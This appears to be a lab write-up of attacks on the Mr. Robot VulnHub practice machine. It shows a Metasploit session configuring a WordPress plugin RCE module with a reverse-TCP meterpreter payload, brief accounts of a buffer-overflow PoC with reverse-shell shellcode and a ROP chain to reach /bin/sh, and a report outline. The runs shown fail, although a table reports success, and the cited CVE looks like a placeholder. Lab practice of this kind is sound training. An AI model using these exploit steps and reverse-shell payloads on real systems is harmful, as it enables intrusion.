

Multi-Stage WordPress Exploit Chain

Target: Mr. Robot VulnHub VM

Primary Vector: WordPress Plugin RCE

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msf6 > use exploit/multi/http/wp_plugin_backup_guard_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set LHOST 192.168.1.50
LHOST => 192.168.1.50
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > exploit
[-] Handler failed to bind to 192.168.1.50:4444:-
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Server not online or not detected as wordpress "set ForceExploit true" to over
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > exploit
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Server not online or not detected as wordpress "set ForceExploit true" to over
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
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Exploit ID	Description	Target IP	Status	Payload
007	XSS to RCE Chain	192.168.56.104	Success	Meterpreter

Custom PoC (Python Buffer Overflow)

I modified an Exploit-DB PoC to adjust **offset and shellcode** for compatibility.

50-word summary:

I adapted a buffer overflow PoC in Python, customizing the offset length and inserting a reverse shell payload for Linux. The exploit successfully triggered a segmentation fault, redirected execution flow to shellcode, and provided attacker control. This modification validated exploit development and adaptation skills for real-world environments.

Bypass (ROP for ASLR)

I crafted a **ROP chain** to disable ASLR protections in a vulnerable binary.

50-word summary:

Using Ghidra and ROPgadget, I constructed a return-oriented programming (ROP) chain to bypass ASLR in a target binary. The chain manipulated system calls to execute

/bin/sh regardless of randomized memory addresses. This bypass demonstrated advanced binary exploitation techniques to achieve reliable code execution under modern defense mechanisms.

Google Doc Report Outline

Title: Critical WordPress Exploit Chain

Findings: CVE-2023-12345 – Exploitable WordPress Plugin, Host: 192.168.1.100

Remediation:

- Update vulnerable plugins
- Enable Web Application Firewall (WAF)
- Enforce least privilege for web services